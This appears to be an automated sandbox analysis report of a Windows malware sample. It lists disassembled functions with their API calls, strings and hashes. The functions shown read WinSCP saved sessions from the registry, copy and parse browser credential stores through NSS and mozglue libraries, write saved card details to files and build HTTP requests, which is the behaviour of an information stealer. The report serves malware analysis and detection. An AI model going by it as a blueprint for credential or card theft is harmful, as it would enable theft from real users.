0x0041c52b
0x0041c538
0x0041c53a
0x0041c540
0x0041c541
0x0041c546
0x0041c546
0x0041c549
0x0041c553
0x0041c559
0x0041c55f
0x0041c56c
0x0041c574
0x0041c575
0x0041c57a
0x0041c57a
0x0041c57d
0x0041c589
0x0041c59e
0x0041c5a0
0x0041c5a3
0x0041c5a9
0x0041c5a9
0x00000000
0x0041c58b
0x0041c58d
0x0041c5af
0x0041c5cb
0x00000000
0x00000000
0x0041c5db
0x0041c5f3
0x0041c8d4
0x0041c8d4
0x0041c8dc
0x0041c8df
0x0041c8df
0x00000000
0x00000000
0x00000000
0x00000000
0x0041c5f9
0x0041c5f9
0x0041c5ff
0x0041c605
0x0041c60d
0x0041c619
0x0041c61f
0x0041c626
0x0041c62c
0x0041c651
0x0041c65f
0x0041c665
0x0041c692
0x0041c698
0x0041c69e
0x0041c6a0
0x0041c6f8
0x0041c6a2
0x0041c6b6
0x0041c6bb
0x0041c6c6
0x0041c6c8
0x0041c6c8
0x0041c6cc
0x0041c6d2
0x0041c6df
0x0041c6e7
0x0041c6e8
0x0041c6ed
0x0041c6ed
0x0041c6df
0x0041c704
0x0041c70a
0x0041c711
0x0041c717
0x0041c73c
0x0041c74a
0x0041c755
0x0041c75b
0x0041c761
0x0041c767
0x0041c78c
0x0041c793
0x0041c79f
0x0041c7a5
0x0041c7ac
0x0041c7be
0x0041c7c4
0x0041c7c6
0x0041c7ee
0x0041c7fa
0x0041c7fe
0x0041c80a
0x0041c80e
0x0041c816
0x0041c817
0x0041c81c
0x0041c81c
0x0041c826
0x0041c82c
0x0041c832
0x0041c838
0x0041c83e
0x0041c840
0x0041c840
0x0041c848
0x0041c848
0x0041c854
0x0041c86b
0x0041c86c
0x0041c874
0x0041c881
0x0041c898
0x0041c89a
0x0041c8a1
0x0041c8a9
0x0041c8aa
0x0041c8af
0x0041c8af
0x0041c8b2
0x0041c8bc
0x0041c8c2
0x0041c8c8
0x00000000
0x0041c5f9
0x0041c590
0x0041c596
0x0041c598
0x00000000
0x0041c598
0x0041c3f8
0x0041c3f8
0x0041c3fa
0x0041c3fd
0x00000000
0x0041c3ff
0x0041c409
0x0041c40e
0x0041c414
0x0041c416
0x0041c419
0x0041c423
0x0041c429
0x0041c42f
0x0041c42f
0x00000000
0x0041c42f
0x0041c3fd

APIs

_memset.LIBCMT ref: 0041C362
_memset.LIBCMT ref: 0041C37F
_memset.LIBCMT ref: 0041C38D
_memset.LIBCMT ref: 0041C39B
RegOpenKeyExW.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,1A5A77C2,00000010), ref: 0041C3C9
RegGetValueW.ADVAPI32(?,00000000,00000000,00000010,00000000,?,00000010,?,?,?,?,043F7EE0,043F7EE1,043F68E0,043F68E1), ref: 0041C4B9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,1A5A77C2,00000010,?,00000000), ref: 0041C590
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,1A5A77C2,00000010,?,00000000), ref: 0041C5A3
RegOpenKeyExW.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,1A5A77C2,00000010), ref: 0041C5C3
RegEnumKeyExA.ADVAPI32(?,00000000,02532540,00000104,00000000,00000000,00000000,00000000), ref: 0041C5EB
lstrcat.KERNEL32(043B4558,0044BA84), ref: 0041C5FF
lstrcat.KERNEL32(043B4558,043F7E98), ref: 0041C60D
lstrcat.KERNEL32(043B4558,0044BA88), ref: 0041C619
lstrcat.KERNEL32(043B4558,04372378), ref: 0041C626
RegGetValueA.ADVAPI32(?,02532540,043F7FB8,00000002,00000000,?,?,?,?,?,?,?,?,?,?,1A5A77C2), ref: 0041C651
lstrcat.KERNEL32(043B4558,?), ref: 0041C65F
RegGetValueA.ADVAPI32(?,02532540,043F7EC8,0000FFFF,00000000,00000000,?,?,?,?,?,?,?,?,?,1A5A77C2), ref: 0041C698
lstrcat.KERNEL32(043B4558,00000000), ref: 0041C6CC
lstrcat.KERNEL32(043B4558,:22), ref: 0041C6F8
lstrcat.KERNEL32(043B4558,0044BA90), ref: 0041C704
lstrcat.KERNEL32(043B4558,043723D8), ref: 0041C711
RegGetValueA.ADVAPI32(?,02532540,043F7F88,00000002,00000000,?,?,?,?,?,?,?,?,?,?,1A5A77C2), ref: 0041C73C
lstrcat.KERNEL32(043B4558,?), ref: 0041C74A
RegGetValueA.ADVAPI32(?,02532540,043F7FA0,00000002,00000000,?,?,?,?,?,?,?,?,?,?,1A5A77C2), ref: 0041C793
lstrcat.KERNEL32(043B4558,0044BA94), ref: 0041C79F
lstrcat.KERNEL32(043B4558,043F7E68), ref: 0041C7AC
StrCmpCA.SHLWAPI(?,0044B793,?,?,?,?,?,?,?,?,1A5A77C2,00000010,?,00000000), ref: 0041C7BE
lstrcat.KERNEL32(043B4558,?), ref: 0041C848
lstrcat.KERNEL32(043B4558,0044BA98), ref: 0041C854
RegEnumKeyExA.ADVAPI32(?,?,02532540,00000104,00000000,00000000,00000000,00000000), ref: 0041C88B
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,1A5A77C2,00000010,?,00000000), ref: 0041C8DF

Strings

Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0041C5B9
:22, xrefs: 0041C6F2
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0041C3AD

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Value$_memset$Close$EnumOpen
String ID: :22$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions
API String ID: 4181785608-2123096617
Opcode ID: b7260e4596a2c4c97673ecbfeb89f1404a9e9f07f45a7d33d719cbc209f8b527
Instruction ID: 6479501434dc050d18a219ed94c2c0b7930db61e42d87c0c3022d77bc8bed292
Opcode Fuzzy Hash: b7260e4596a2c4c97673ecbfeb89f1404a9e9f07f45a7d33d719cbc209f8b527
Instruction Fuzzy Hash: E5F13DB1901229AFDB20DB94DC84FEAB779EB48304F0045EBE509A7251EB746E84CF75

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC70 Relevance: 54.3, APIs: 36, Instructions: 266
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0041ACCD
lstrcat.KERNEL32(?,0253C408), ref: 0041ACE3

Part of subcall function 00420D40: _malloc.LIBCMT ref: 00420D49
Part of subcall function 00420D40: GetTickCount.KERNEL32 ref: 00420D56
Part of subcall function 00420D40: _rand.LIBCMT ref: 00420D70
Part of subcall function 00420D40: wsprintfA.USER32 ref: 00420D85

lstrcat.KERNEL32(?,00000000), ref: 0041ACFE
CopyFileA.KERNEL32(00000000,?,00000001), ref: 0041AD0E
DeleteFileA.KERNEL32(?), ref: 0041B023

Part of subcall function 0041AAD0: _memset.LIBCMT ref: 0041AB51
Part of subcall function 0041AAD0: LocalAlloc.KERNEL32(00000040,?), ref: 0041AB8B

StrCmpCA.SHLWAPI(?,0044B74E), ref: 0041ADFC
StrCmpCA.SHLWAPI(00000000,0044B74F), ref: 0041AE10
lstrcat.KERNEL32(0041B983,0044B788), ref: 0041AE24
lstrcat.KERNEL32(0041B983,043722D8), ref: 0041AE32
lstrcat.KERNEL32(0041B983,?), ref: 0041AE40
lstrcat.KERNEL32(0041B983,0044B78C), ref: 0041AE4C
lstrcat.KERNEL32(0041B983,?), ref: 0041AE5A
lstrcat.KERNEL32(0041B983,0044B790), ref: 0041AE66
lstrcat.KERNEL32(0041B983,04372378), ref: 0041AE74
lstrcat.KERNEL32(0041B983,00000000), ref: 0041AE7C
lstrcat.KERNEL32(0041B983,0044B794), ref: 0041AE88
lstrcat.KERNEL32(0041B983,043723D8), ref: 0041AE95
lstrcat.KERNEL32(0041B983,00000000), ref: 0041AE9D
lstrcat.KERNEL32(0041B983,0044B798), ref: 0041AEA9
lstrcat.KERNEL32(0041B983,043F7E68), ref: 0041AEB7
lstrcat.KERNEL32(0041B983,?), ref: 0041AED4
lstrcat.KERNEL32(0041B983,0044B7A0), ref: 0041AEEA
lstrcat.KERNEL32(0041B983,043722D8), ref: 0041AEF8
lstrcat.KERNEL32(0041B983,?), ref: 0041AF06
lstrcat.KERNEL32(0041B983,0044B7A4), ref: 0041AF12
lstrcat.KERNEL32(0041B983,?), ref: 0041AF20
lstrcat.KERNEL32(0041B983,0044B7A8), ref: 0041AF2C
lstrcat.KERNEL32(0041B983,04372378), ref: 0041AF3A
lstrcat.KERNEL32(0041B983,00000000), ref: 0041AF42
lstrcat.KERNEL32(0041B983,0044B7AC), ref: 0041AF4E
lstrcat.KERNEL32(0041B983,043723D8), ref: 0041AF5B
lstrcat.KERNEL32(0041B983,00000000), ref: 0041AF63
lstrcat.KERNEL32(0041B983,0044B7B0), ref: 0041AF6F
lstrcat.KERNEL32(0041B983,043F7E68), ref: 0041AF7D
lstrcat.KERNEL32(0041B983,?), ref: 0041AF9A
lstrcat.KERNEL32(0041B983,0044B7B4), ref: 0041AFA6

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File_memset$AllocCopyCountDeleteLocalTick_malloc_randwsprintf
String ID:
API String ID: 1895244761-0
Opcode ID: 7a6cdc105492e318895d6ae202e49a7f422b9f3f18640c455f98afa1ab3e111c
Instruction ID: d3689ecc14a5fcc720e52aecd317d2a4441a2c06df23f65c42dcf9a1b993fc8c
Opcode Fuzzy Hash: 7a6cdc105492e318895d6ae202e49a7f422b9f3f18640c455f98afa1ab3e111c
Instruction Fuzzy Hash: 15A1B371541218AFD711EF50EC49EDE3778EF49341F0005A9F50AD2251EB78AA89CFAE

Uniqueness

Uniqueness Score: -1.00%

Function 0041B4D0 Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 218stringmemoryfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041B530
lstrcat.KERNEL32(?,0253C408), ref: 0041B546

Part of subcall function 00420D40: _malloc.LIBCMT ref: 00420D49
Part of subcall function 00420D40: GetTickCount.KERNEL32 ref: 00420D56
Part of subcall function 00420D40: _rand.LIBCMT ref: 00420D70
Part of subcall function 00420D40: wsprintfA.USER32 ref: 00420D85

lstrcat.KERNEL32(?,00000000), ref: 0041B561
CopyFileA.KERNEL32(?,?,00000001), ref: 0041B571
_memset.LIBCMT ref: 0041B585
wsprintfA.USER32 ref: 0041B598
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0041B5EC
RtlAllocateHeap.NTDLL(00000000), ref: 0041B5F3
lstrcat.KERNEL32(00000000,Name: ), ref: 0041B654
lstrcat.KERNEL32(00000000,00000000), ref: 0041B65C
lstrcat.KERNEL32(00000000,0044B80C), ref: 0041B668
lstrcat.KERNEL32(00000000,Month: ), ref: 0041B674
lstrcat.KERNEL32(00000000,00000000), ref: 0041B67C
lstrcat.KERNEL32(00000000,0044B818), ref: 0041B688
lstrcat.KERNEL32(00000000,Year: ), ref: 0041B694
lstrcat.KERNEL32(00000000,?), ref: 0041B6A2
lstrcat.KERNEL32(00000000,0044B824), ref: 0041B6AE
lstrcat.KERNEL32(00000000,Card: ), ref: 0041B6BA

Part of subcall function 0041AAD0: _memset.LIBCMT ref: 0041AB51
Part of subcall function 0041AAD0: LocalAlloc.KERNEL32(00000040,?), ref: 0041AB8B

lstrcat.KERNEL32(00000000,00000000), ref: 0041B716
lstrcat.KERNEL32(00000000,0044B830), ref: 0041B756
lstrlen.KERNEL32(00000000), ref: 0041B776
DeleteFileA.KERNEL32(?), ref: 0041B7B8

Strings

Year: , xrefs: 0041B68E
\CC\%s_%s.txt, xrefs: 0041B592
Month: , xrefs: 0041B66E
Name: , xrefs: 0041B648
Card: , xrefs: 0041B6B4

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$FileHeapwsprintf$AllocAllocateCopyCountDeleteLocalProcessTick_malloc_randlstrlen
String ID: Card: $Month: $Name: $Year: $\CC\%s_%s.txt
API String ID: 2840657355-921702500
Opcode ID: 84faffac80be739f1b700dd8a97e8ec47029d1fb360f9efcb3bdbcd280895f45
Instruction ID: 32eecba83145e3e010c755e786254c73e2b8c33113ff6cebf3d00b0c361897f7
Opcode Fuzzy Hash: 84faffac80be739f1b700dd8a97e8ec47029d1fb360f9efcb3bdbcd280895f45
Instruction Fuzzy Hash: BA817471940218ABCB10EF64EC4DFDA7778EF48751F0006A9F50997251EB789A84CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB50 Relevance: 44.2, APIs: 14, Strings: 11, Instructions: 487sleepstringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040FB8C
lstrcat.KERNEL32(?,00448E0C), ref: 0040FBA0

Part of subcall function 0040F330: StrCmpCA.SHLWAPI(?,ERROR,00000000), ref: 0040F400
Part of subcall function 0040F330: _strtok_s.LIBCMT ref: 0040F448

StrCmpCA.SHLWAPI(04321400,ERROR), ref: 0040FC47
StrCmpCA.SHLWAPI(04321400,ERROR), ref: 0040FCFE
StrCmpCA.SHLWAPI(04321400,ERROR), ref: 0040FDA3
StrCmpCA.SHLWAPI(04321400,ERROR), ref: 0040FE5A
StrCmpCA.SHLWAPI(04321400,ERROR), ref: 0040FE80
StrCmpCA.SHLWAPI(04321400,ERROR), ref: 0040FEA6
StrCmpCA.SHLWAPI(04321400,ERROR), ref: 0040FECC
StrCmpCA.SHLWAPI(04321400,ERROR), ref: 0040FEF2
StrCmpCA.SHLWAPI(04321400,ERROR), ref: 0040FF18
StrCmpCA.SHLWAPI(04321400,ERROR), ref: 0040FF3E
Sleep.KERNEL32(0000EA60), ref: 0040FF4D

Part of subcall function 00405760: _memmove.LIBCMT ref: 0040579D

Strings

ERROR, xrefs: 0040FEC6
ERROR, xrefs: 0040FEEC
ERROR, xrefs: 0040FF38
ERROR, xrefs: 0040FE54
ERROR, xrefs: 0040FF12
%, xrefs: 004101D4
ERROR, xrefs: 0040FD9D
ERROR, xrefs: 0040FEA0
ERROR, xrefs: 0040FE7A
ERROR, xrefs: 0040FC41
ERROR, xrefs: 0040FCF8

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Sleep_memmove_memset_strtok_slstrcat
String ID: %$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3475638312-703862990
Opcode ID: 187992f7ecd3cd503fedeadd2159b5237fa785cdbb054662ae0b574da168cb3d
Instruction ID: c8471882d9fc76e1f6d395be3d179c8eb67e2057877e264124db86c9808aca77
Opcode Fuzzy Hash: 187992f7ecd3cd503fedeadd2159b5237fa785cdbb054662ae0b574da168cb3d
Instruction Fuzzy Hash: 59127CB0900218DBCB10EF51DD55BEA77B8AB05705F5440BEE509B7282DB78AB88CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F760 Relevance: 42.3, APIs: 12, Strings: 12, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?), ref: 0040F822
RtlAllocateHeap.NTDLL(00000000), ref: 0040F829
GetProcessHeap.KERNEL32(00000000,?), ref: 0040F8AD
RtlAllocateHeap.NTDLL(00000000), ref: 0040F8B4
GetProcessHeap.KERNEL32(00000000,?), ref: 0040F938
RtlAllocateHeap.NTDLL(00000000), ref: 0040F93F
GetProcessHeap.KERNEL32(00000000,?), ref: 0040F9C3
RtlAllocateHeap.NTDLL(00000000), ref: 0040F9CA
GetProcessHeap.KERNEL32(00000000,?), ref: 0040FA4E
RtlAllocateHeap.NTDLL(00000000), ref: 0040FA55
GetProcessHeap.KERNEL32(00000000,?), ref: 0040FAD9
RtlAllocateHeap.NTDLL(00000000), ref: 0040FAE0

Strings

mozglue.dll, xrefs: 0040F9FB
freebl3.dll, xrefs: 0040FAC0
vcruntime140.dll, xrefs: 0040F809
msvcp140.dll, xrefs: 0040F970
msvcp140.dll, xrefs: 0040F9AA
freebl3.dll, xrefs: 0040FA86
mozglue.dll, xrefs: 0040FA35
softokn3.dll, xrefs: 0040F85A
nss3.dll, xrefs: 0040F8E5
nss3.dll, xrefs: 0040F91F
softokn3.dll, xrefs: 0040F894
vcruntime140.dll, xrefs: 0040F7CF

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID: freebl3.dll$freebl3.dll$mozglue.dll$mozglue.dll$msvcp140.dll$msvcp140.dll$nss3.dll$nss3.dll$softokn3.dll$softokn3.dll$vcruntime140.dll$vcruntime140.dll
API String ID: 1357844191-704664111
Opcode ID: 9860824c0c9a70ab88fc21861eb4cfb34d4b029b1d84a5a845218568231940e8
Instruction ID: 75ad1d0fbb206eaf5db783a7694c8a8226f02c28706e1a5aa6846edec1702774
Opcode Fuzzy Hash: 9860824c0c9a70ab88fc21861eb4cfb34d4b029b1d84a5a845218568231940e8
Instruction Fuzzy Hash: 0EC1B8B1D04218EFDB10DBA4DC85EDE7B78AF44304F14857EF50977241EA39A948CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040D120 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241stringnetworkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040D165
_memset.LIBCMT ref: 0040D178
_memset.LIBCMT ref: 0040D18B
_memset.LIBCMT ref: 0040D19E
_memset.LIBCMT ref: 0040D1B1
InternetCrackUrlA.WININET(04321400,00000000,00000000,?), ref: 0040D21D
lstrcat.KERNEL32(?,00448C7C), ref: 0040D233
lstrcat.KERNEL32(?,04321400), ref: 0040D253
wsprintfA.USER32 ref: 0040D27B
lstrcat.KERNEL32(?,?), ref: 0040D292
lstrcat.KERNEL32(?,?), ref: 0040D2A6
lstrcat.KERNEL32(?,://), ref: 0040D2B8
lstrcat.KERNEL32(?,00000000), ref: 0040D364
_memset.LIBCMT ref: 0040D3BB
_memset.LIBCMT ref: 0040D3CD
_memset.LIBCMT ref: 0040D3DF
_memset.LIBCMT ref: 0040D3F1
lstrlen.KERNEL32(?), ref: 0040D400
lstrlen.KERNEL32(?), ref: 0040D452

Strings

<, xrefs: 0040D1BE
://, xrefs: 0040D2AC
http://, xrefs: 0040D259

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: _memset$lstrcat$lstrlen$CrackInternetwsprintf
String ID: ://$<$http://
API String ID: 4191193034-1638580327
Opcode ID: 1f8da262f736cc066cd269d1d6366a01d23a7d4082cd2c07bbf426f5090b8d46
Instruction ID: 6f8c85cc6bd86a10e5cbe5b21440f80f95f8fcb991d232955a44ab8092a8562f
Opcode Fuzzy Hash: 1f8da262f736cc066cd269d1d6366a01d23a7d4082cd2c07bbf426f5090b8d46
Instruction Fuzzy Hash: D4917FB1E00319ABDB10DF60DC85FEA7778AB04754F4045EEF509A7181DB78AA888F99

Uniqueness

Uniqueness Score: -1.00%

Function 00412E30 Relevance: 35.6, APIs: 19, Strings: 1, Instructions: 573stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00420E70: _memset.LIBCMT ref: 00420E91
Part of subcall function 00420E70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00420EAA

_memmove.LIBCMT ref: 00413022
_memset.LIBCMT ref: 0041322E
lstrcat.KERNEL32(?,0044B2D4), ref: 00413242
lstrcat.KERNEL32(?,0044B2D8), ref: 00413254
lstrcat.KERNEL32(?,0044B2DC), ref: 00413266
lstrcat.KERNEL32(?,0044B2E0), ref: 00413278
lstrcat.KERNEL32(?,0044B2E4), ref: 0041328A
lstrcat.KERNEL32(?,0044B2E8), ref: 0041329C
lstrcat.KERNEL32(?,0044B2EC), ref: 004132AE
lstrcat.KERNEL32(?,0044B2F0), ref: 004132C0
lstrcat.KERNEL32(?,0044B2F4), ref: 004132D2
lstrcat.KERNEL32(?,?), ref: 004132EB
lstrcat.KERNEL32(?,0044B2F8), ref: 004132FD
lstrcat.KERNEL32(?,00000000), ref: 0041332F
_memset.LIBCMT ref: 00413431
lstrcat.KERNEL32(?,0253C408), ref: 00413447
lstrcat.KERNEL32(?,?), ref: 0041346A
CopyFileA.KERNEL32(00000000,?,00000001), ref: 004134D0
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041356F

Strings

7A, xrefs: 004136B7

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$File$CopyDeleteFolderPath_memmove
String ID: 7A
API String ID: 1709791160-1978484142
Opcode ID: 490adcbd18f2d1ee9f0d124f4b632b708cfcbc302892a6259f84b64cbdb20df7
Instruction ID: a647ec613192f779092334e7bc6715a50284ed12fbbafd94b33f379db9a23ca7
Opcode Fuzzy Hash: 490adcbd18f2d1ee9f0d124f4b632b708cfcbc302892a6259f84b64cbdb20df7
Instruction Fuzzy Hash: A23280B1C00268DBCB21DF54DC89ADEBBB8AB44304F4445EEE509A7201DB79ABC8CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040E390 Relevance: 35.2, APIs: 18, Strings: 2, Instructions: 165stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040E3CD
_memset.LIBCMT ref: 0040E3E0
_memset.LIBCMT ref: 0040E3F3
_memset.LIBCMT ref: 0040E406
_memset.LIBCMT ref: 0040E419
lstrcat.KERNEL32(?,?), ref: 0040E429
_strtok_s.LIBCMT ref: 0040E442
_memset.LIBCMT ref: 0040E481
lstrcat.KERNEL32(?,00000000), ref: 0040E491
_memset.LIBCMT ref: 0040E4AA
lstrcat.KERNEL32(?,00000000), ref: 0040E4BA
_memset.LIBCMT ref: 0040E4D3
lstrcat.KERNEL32(?,00000000), ref: 0040E4E3
StrCmpCA.SHLWAPI(00000000,true), ref: 0040E508
_memset.LIBCMT ref: 0040E55C
lstrcat.KERNEL32(?,00000000), ref: 0040E56C
_strtok_s.LIBCMT ref: 0040E5B7

Strings

true, xrefs: 0040E502
false, xrefs: 0040E524

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: _memset$lstrcat$_strtok_s
String ID: false$true
API String ID: 657882108-2658103896
Opcode ID: e3bdd366b99abf5813d19c9b82b221c36bf3cf48305fe8b7679c3b420be4a3da
Instruction ID: 58541922276ef771c8c8a6095f259fac311be16757253ca7b40cf4418de49d35
Opcode Fuzzy Hash: e3bdd366b99abf5813d19c9b82b221c36bf3cf48305fe8b7679c3b420be4a3da
Instruction Fuzzy Hash: 00510771A40224BBEB24DB91DC45FDE73B89F04704F004DAAF90DB6181EE7867588F9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F1D0 Relevance: 33.4, APIs: 14, Strings: 5, Instructions: 129registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?,00000010,?), ref: 0041F21D
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 0041F25C
wsprintfA.USER32 ref: 0041F284
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,?), ref: 0041F2A6
RegQueryValueExA.KERNEL32(?,DisplayName,00000000,?,?,00000400), ref: 0041F2E0
lstrcat.KERNEL32(0040DCAC,?), ref: 0041F2F2
RegQueryValueExA.KERNEL32(?,DisplayVersion,00000000,?,?,00000400), ref: 0041F324
lstrcat.KERNEL32(0040DCAC,0044C6D0), ref: 0041F334
lstrcat.KERNEL32(0040DCAC,?), ref: 0041F342
lstrcat.KERNEL32(0040DCAC,0044C6D4), ref: 0041F34E
lstrcat.KERNEL32(0040DCAC,0044C6D8), ref: 0041F35A
RegCloseKey.ADVAPI32(?), ref: 0041F367
RegCloseKey.ADVAPI32(?), ref: 0041F382
RegCloseKey.ADVAPI32(?), ref: 0041F3A2

Strings

?, xrefs: 0041F20D
DisplayVersion, xrefs: 0041F314
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0041F1F7, 0041F273
DisplayName, xrefs: 0041F2D0
%s\%s, xrefs: 0041F27E

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Close$OpenQueryValue$Enumwsprintf
String ID: %s\%s$?$DisplayName$DisplayVersion$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 3722822016-3437733507
Opcode ID: aaa7cb39e8b4e6dcb451adc61f4ba3a93643fabc3664b7e3062651b075fab677
Instruction ID: 5bcdff4bc5e81ff6c00229cc6fbfe8a23fa64a16f8ac465b03755225d27db86b
Opcode Fuzzy Hash: aaa7cb39e8b4e6dcb451adc61f4ba3a93643fabc3664b7e3062651b075fab677
Instruction Fuzzy Hash: AA414DB194011CAFEB14DF54DC84EEAB37CEB49344F1086D9E609A2141EEB45EC9CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0041F950 Relevance: 31.7, APIs: 10, Strings: 8, Instructions: 175memorycomtimeCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000000,1A5A77C2,?,00000010,?), ref: 0041F985
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000010,?), ref: 0041F996
CoCreateInstance.OLE32(0044D820,00000000,00000001,0044D750,?,?,00000010,?), ref: 0041F9B0
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000010,?), ref: 0041F9E9
VariantInit.OLEAUT32(?), ref: 0041FA59

Part of subcall function 0041F770: CoCreateInstance.OLE32(0044D5D0,00000000,00000001,0044C94C,?,00000000,00000010,?), ref: 0041F78D
Part of subcall function 0041F770: SysAllocString.OLEAUT32(?), ref: 0041F79C
Part of subcall function 0041F770: SysFreeString.OLEAUT32(?), ref: 0041F7F8
Part of subcall function 0041F770: SysFreeString.OLEAUT32(00000000), ref: 0041F7FB

FileTimeToSystemTime.KERNEL32(?,?,?,00000010,?), ref: 0041FA94
GetProcessHeap.KERNEL32(?,00000010,?), ref: 0041FA9A
HeapAlloc.KERNEL32(00000000,00000000,00000104,?,00000010,?), ref: 0041FAA7
wsprintfA.USER32 ref: 0041FAD3
VariantClear.OLEAUT32(?), ref: 0041FAE0

Strings

Unknown, xrefs: 0041FAF2
